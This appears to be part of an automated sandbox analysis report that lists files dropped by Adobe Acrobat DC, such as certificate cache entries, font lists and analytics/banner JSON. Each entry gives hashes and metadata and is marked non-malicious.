Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklCowb3/tfllXlE/HT8kkkl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKbveT8e7NMa8RdWBwRd
MD5:	59E34A1378FAE983FFB68861595A0A5A
SHA1:	E997EB98D8C81E57B4CF456A938B4FEAEF52DB3B
SHA-256:	EDAB6FF1189B72418BCC0554B84DED4B46B702CB7B4B1EB5AA59683144EBA305
SHA-512:	72208A3D8AFF653D0DB06D7AF694D44C318BAE0B8AD6AEE15BB98AE5190C2A510ED7356B65B86ADBB9A67944CEF7D3BEA9930346568E23858677E564191EC710
Malicious:	false
Preview:	p...... ........qM.v.c..(....................................................... ..........W.....K..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5160

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5160

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.351908112905907
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJM3g98kUwPeUkwRe9:YvXKXa4JkGcysZGMbLUkee9
MD5:	EA89632C664BF5D09679B88C754CACDB
SHA1:	87745C1BA42DE6EB960D5922FC9423433D76BC4D
SHA-256:	9206B3C4ADFF4DD582A756E379C61A76B9D4969CB5D3DB26B3454FC9E3D0CD5D
SHA-512:	54BFA303BFCC9FE51FA7308F9D4DF3ED8BA949B5F00D959AEE4D8838EAABD43C2DCE7360CDFBEF35536822D45B7EBB4740250FCA778143202379CF4AB0013216
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303604363484018
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJfBoTfXpnrPeUkwRe9:YvXKXa4JkGcysZGWTfXcUkee9
MD5:	D9510E46561BD4A1E6A5EED27566CCD3
SHA1:	D93A55248AAB3D9F1984DD383A77F2E19BAC6715
SHA-256:	71399E90EE877411D2E18174BABF61C906716B6E14A7EB19FD1889691730FD42
SHA-512:	625D09436B9DB322395603D39B1BE61353B935DEC0454A2E7D215657C239A0384E98A5857EAE834D8E6F9ABBE866A67E328ED7C14E093F1FDC07EC2C43153290
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.281454457061088
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJfBD2G6UpnrPeUkwRe9:YvXKXa4JkGcysZGR22cUkee9
MD5:	3637D1AAA3C4815B77ABF71F39CDCFAF
SHA1:	427C69DC1A9E5C3E5E51CE2C5C8D5A262D419407
SHA-256:	8E677E557AA9057EEBFA0DFA1D5B017F18C8F24255D4221FC2B5E927C7D08F23
SHA-512:	21035D0C2B713AD1711F6D4205C66B51DB7E231B53EEDE073E25A7071025CC37309DD28A96B694517B71DE3B7427DBDC7D0CAD6CD9E1396CBD31C57E315A4112
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.331528749151904
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJfPmwrPeUkwRe9:YvXKXa4JkGcysZGH56Ukee9
MD5:	AECA132463A902896CD495CBEA836074
SHA1:	8A6EC7CA0C6CF38A57DFC36C49AE585FFA611265
SHA-256:	D24F41BE057052A494D71FDA54C0EDDEF5614E3149F29BB04F6668F2E66723EC
SHA-512:	03BC610BD6E9BDE85750525BB0F7774CAF791274638A44ACD7734B44E5DE76FD62C511E8CE81735C010F2A43712BDF998DB85645B41A881E4B309E169EFBAE8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68665190839281
Encrypted:	false
SSDEEP:	24:Yv6XRk7ys+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSil:YvYkr+hgy6SAFv5Ah8cv/u
MD5:	C8E47BD2503141B5FBBD0F1AAEC0B35D
SHA1:	1DFF37480F47901C24BAD210CE1E16DCE87DE7E6
SHA-256:	EA2DD639D60A633EFF2890FC9A1F452A0EEE57CB473EEE764CF072FE762F3EED
SHA-512:	E9142E962E454F578A19DE427D49A872D2453374B76B3AC31202944C35597333D0656507014245045D4EE10D5E11D5457F350863D7D81FFF91901781AC0B771C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282499076943125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJf8dPeUkwRe9:YvXKXa4JkGcysZGU8Ukee9
MD5:	6C896FFF498848E099E2DCA3E3D9BFA1
SHA1:	CADB236AD3BFB9DB98F6CD06BD5CDDAEA17F7D12
SHA-256:	C399AD69B9DB18B050ECF572AAD2063416A184CC49C262AEB73620F4E6F4BAE4
SHA-512:	89BD84E9EEF365A0E6D941858E99005522A0088AF23123C6AB40206349C65ECB02F0197A3BE1491AFE3744C6C65F69DDD4C6759C838E045B868F73AC34E0EF37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2856219324853395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJfQ1rPeUkwRe9:YvXKXa4JkGcysZGY16Ukee9
MD5:	14DFB004057D1D63395F7BE6F89F5262
SHA1:	82F35842E40FBF76B134558DDE660491F717EA25
SHA-256:	AEB746F512F5F188FEF9348FA5BC0A60054A8B8945D558820490D36E322768FF
SHA-512:	F376AD41BA7C521F9BDFF5A5D0061267D58D041BDF951FBCCFD2DE363472083A9235E07C3F9540E9039D217B762867969C4FD3BD2DF6D17E2495500F80B6D01F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294443232949519
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJfFldPeUkwRe9:YvXKXa4JkGcysZGz8Ukee9
MD5:	F0693BF658056A2B534E4A979C02BFB2
SHA1:	CACA9F7EDB4F3F362727FBF62B802D5B432D205F
SHA-256:	9420C81CA5F2813EC33E59BEEF7D0D1EAFD9B0C43EE983CDC97DB1A56E17BD93
SHA-512:	45B135CCB7790BB425358BC007CAF9B77B350ED3972FA05D86F70FC8999BB6C49733CCE917AD1A7CC6B21B1C0E65B36B7ED0358EBC3B5832200100E4B5A94BCB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.310264641472138
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJfzdPeUkwRe9:YvXKXa4JkGcysZGb8Ukee9
MD5:	74668FB8DB790C9D6F1D274695FA1BCA
SHA1:	160ABC93B353979EC9D7D1D8F473CA183C5CC622
SHA-256:	AD6AFAE1A280613CFF6E17C7B8515A8E10D953EE777438296AC48F882A5DA9E1
SHA-512:	9FC26CB09C3A2348548A694D395B5212E428A0F11E785140C8606B61DDBE3D80E47A3FF12B1EFA1CA02EAA4D5EAD520536B17DF3D85EB64A286A83847122735C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290719478098147
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJfYdPeUkwRe9:YvXKXa4JkGcysZGg8Ukee9
MD5:	614337CEAFCEDE3A4FE6E03178CFB93A
SHA1:	CD0A879F781F84D14A421553C279ADE93B7E66DD
SHA-256:	43DB26E8580E05EAE2A502A1D4B2D3013074048EE9B6719F3AE1B10B54500265
SHA-512:	906511572FA7042BAF70B6B4CBE51141162372698867B7D3CBBDADD2249EB419E8FAD91380C52651A26C13406740301846FC6219C0385FECEE24E8D0DB17B733
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.276606461450918
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJf+dPeUkwRe9:YvXKXa4JkGcysZG28Ukee9
MD5:	F2085E39D20DDBE3CB3B7CD1A3F55919
SHA1:	E5902CCBD34F3EB2A7B747BF09433A6A3DC4B9B7
SHA-256:	5B5E9060AADBEF89E130C58513C1C9E7183B16FFEED5232900296D299A1DFF8E
SHA-512:	B3607D037E91E17428A7AC2FA4A45622CBFAACF44D0E313FE25607441AC47FEAC683FA4E31FEE14814A79D6D422CCA4119AE08932FB774C4D8D1ECA91DD58C0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.274330359427695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJfbPtdPeUkwRe9:YvXKXa4JkGcysZGDV8Ukee9
MD5:	4347C99FCFADC53F9B09BA36EB391F77
SHA1:	2A0A479D2300AF1870FD0751FCB4CC9FEAA88708
SHA-256:	C6FF1838C601299988F712AB5361FEDC61EC0DEC4C2CB19B28FCFB40DBEC39AA
SHA-512:	8FBA65634A1F190C8C09B976CB328CB6F4B9D631D7C9D368D76706E3C8E9B861442C6C4D1AF2E50D8A805F35378495114B9C306A1AD31063D45D4D7FED516AF2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4c146f54-f443-423f-ac6e-b74dac593201","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736759675325,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.277583223459093
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDG4TRnnX0GnZiQ0Y9sqoAvJf21rPeUkwRe9:YvXKXa4JkGcysZG+16Ukee9
MD5:	7C68919DDF932F99908749122F76E678
SHA1:	65E8BACC0BA3D4C4460A31D546FDAF1FDC0DC6AC
SHA-256:	1BD377A55BFC015E77BF0E947EFB91CE2EE3F95342C6028F475C90CF34E5F27C
SHA-512:	6653F6240456A47D23C6E5261515C4D36DDD3D75939B2408E11E92AC898A185A131210A3D4174F1FBD437498590A34C0CF49643609485E14D84DD8E1B23D4204
Malicious:	false
